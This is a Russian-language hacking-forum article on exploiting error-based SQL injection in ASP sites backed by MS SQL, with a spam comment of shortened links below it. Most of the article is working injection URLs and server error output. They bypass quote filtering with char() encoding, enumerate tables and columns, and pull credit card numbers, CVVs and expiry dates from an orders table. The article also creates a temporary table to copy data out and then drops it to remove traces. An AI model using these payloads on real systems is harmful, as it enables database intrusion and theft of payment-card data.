Язык
Контакты
GitHub
Поддержка
Регистрация
Войти
Логин: Пароль: Запомнить:
Пользователи
Голосование

    Какую CMS Вы предпочитаете

    AtomX
    Fapos CMS
    Drunya CMS
Последние комментарии
Автор: JosephOwend, в новости:

SQL иньекции в MS SQL

Автор: чайник, в новости:

Что такое API и для чего они нужны

Автор: HIshnik, в новости:

Классы в PHP для чайников

Топ пользователей
Drunya
Репутация: 110
Сообщений: 3527
Сашка_из_Шебекино
Репутация: 87
Сообщений: 1803
boriska
Репутация: 65
Сообщений: 846
ARMI
Репутация: 46
Сообщений: 1858
BAH0
Репутация: 26
Сообщений: 544
Я не буду рассказывать об азах инъекций в MS SQL, на эту тему написано и сказано уже очень много. Я хочу поделится некоторым своим опытом, набранным бессонными ночами, когда я ковырял гимморные ms sql инжекты и курил мануалы, пытаясь понять, что я делаю неправильно.

Итак, начнем с поиска инъекций на сайте. Иногда я встречал инжект в post запросах, в скриптах поиска по сайту или в скрипте напоминании пароля. В этом случае на традиционный запрос 1’+or+1=@@version-- скрипт будет ругаться примерно так:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/inc/inc_customer.asp, line 103

ошибка возникает из за символа “+”, поэтому вот такой запрос:

1’ or 1=@@version--

в данном случае пройдет на ура и выдаст нам версию сервера.

Следующая проблема, которая вызывает массу вопросов у новичков, и которая в свое время тоже вогнала меня в ступор, это фильтрация кавычки. Она приводит к тому, что выполнив запрос:

http://www.target.com/dinamica.asp
?ID=1+or+1=(SELECT+TOP+1+TABLE_NAME +FROM+INFORMATION_SCHEMA.TABLES)--

и получив имя первой таблицы, к примеру:

[Microsoft][ODBC SQL Server Driver]
[SQL Server]Conversion failed when converting the nvarchar value 'Pincodes' to data type int.

мы не можем получить имя второй, и вместо нее видим ответ:

[Microsoft][ODBC SQL Server Driver]
[SQL Server]Incorrect syntax near 'Pincodes'.

В данном случае проблема может быть решена с помощью функции char(int ascii), превратив имя таблицы
Pincodes в char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2B char(111)%2Bchar(100)%2Bchar(101)%2B char(115) и передав эти данные серверу:

http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+TABLE_NAME+FROM+ INFORMATION_SCHEMA.TABLES
+WHERE+TABLE_NAME+NOT+IN+ ( char(80)%2Bchar(105)%2Bchar(110)%2Bchar(99)
%2Bchar(111)%2Bchar(100)%2Bchar(101)%2Bchar(115)))--

мы получим имя второй таблицы:

[Microsoft][ODBC SQL Server Driver][SQL Server]
Conversion failed when converting the nvarchar value 'PRODUCT' to data type int.

Самое главное, что если зачарить название таблицы, необходимость в кавычках пропадает. Чарим следующее имя таблицы и добавляем его через запятую, и так перебираем таблицу за таблицей. То же самое и с перебором полей в таблице, чарим имя таблицы и имена полей.

Идем дальше. Иногда хитромудрые админы употребляют в названии полей таблиц “-“, чем затрудняют вывод информации. К примеру:

http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+ cast(ccnumber+as+nvarchar)%2B%27%3A%27%2Bcast
(cvv+as+nvarchar) %2B%27%3A%27%2Bcast(expire+as+nvarchar)
+ from+orders+where+orderid=CRX-40003)--

в этом случае сервер отвечает:

Invalid column name 'CRX'.

так как часть имени поля, идущая после "-", обрезается. Это проблема обходиться в свою очередь добавлением кавычек вокруг названия проблемного поля:

http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+cast(ccnumber+as+nvarchar)%
2B%27%3A%27%2Bcast(cvv+as+nvarchar)%2B%27%
3A%27%2Bcast(expire+as+nvarchar)+from+orders+where+orderid=’CRX-40003’)--

Иногда само название поля состоит из двух слов, между которыми находиться пробел:

http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=‘orders'+ AND+COLUMN_NAME+NOT+IN+
('Account%20Number','Card%20Number','Experation%20Date', 'CVV%20Response'))—

и в этом случае второе слово обрезается, что ставит некоторых новичков в тупик. Здесь проблема решается обрамлением квадратными кавычками такого названия:

http://www.target.com/dinamica.asp?ID=
1+or+1= (SELECT+ TOP+1+[Card%20Number]+from+orders)--

И последнее. Иногда находишь таблицу с очень интересными данными, но вывод их становится сложной задачей, так как ничего подобного типа orderid нет и близко, как перебирать содержимое полей - непонятно. В этом случае лучшим решением будет создание новой таблицы с полем id и копированием в нее нужных нам данных:

http://www.target.com/dinamica.asp?ID=
1;CREATE TABLE dbo.temp (Id int NOT NULL IDENTITY (1, 1)
, email varchar(255) NULL) ON [PRIMARY]; INSERT INTO temp
(email) select email from orders;--

с последующим забором нужных нам данных:

http://www.target.com/dinamica.asp?ID=1+or+1=
(SELECT+TOP+1+email+from+temp+where+id=1)--

И как закончишь, не забудь убрать за собой, удалив таблицу:

http://www.target.com/dinamica.asp?ID=1;drop table temp;--

Очень надеюсь, что поделившись с тобой моим скромным опытом, я уберег тебя от ночных нервотрепок и помог сделать процесс извлечения данных из MS SQL чуточку проще.
SQL иньекции в MS SQL
Автор: Drunya
Категория: Hack
Просмотров: 10066
Комментариев: 1

Комментарии
  • User avatar

    JosephOwend

    <a href=https://bitly.com/2JxfIRH+>СМОТРЕТЬ ветреный 19 серия
    </a>
    <a href=https://bitly.com/2Jcnam1+>СМОТРЕТЬ ветреный 10 серия ветреный 11 серия ветреный 12 серия ветреный 13 серия ветреный 14 серия ветреный 15 серия ветреный 16 серия ветреный 17 серия ветреный 18 серия ветреный 19 серия ветреный 20 серия ветреный 21 серия ветреный 22 серия ветреный 23 серия ветреный 24 серия ветреный 25 серия смотреть онлайн
    </a>
    Дата отправления: 16 Мая в 17:44
Сейчас online: 42. Зарегистрированных: 2. Гостей: 40.
-->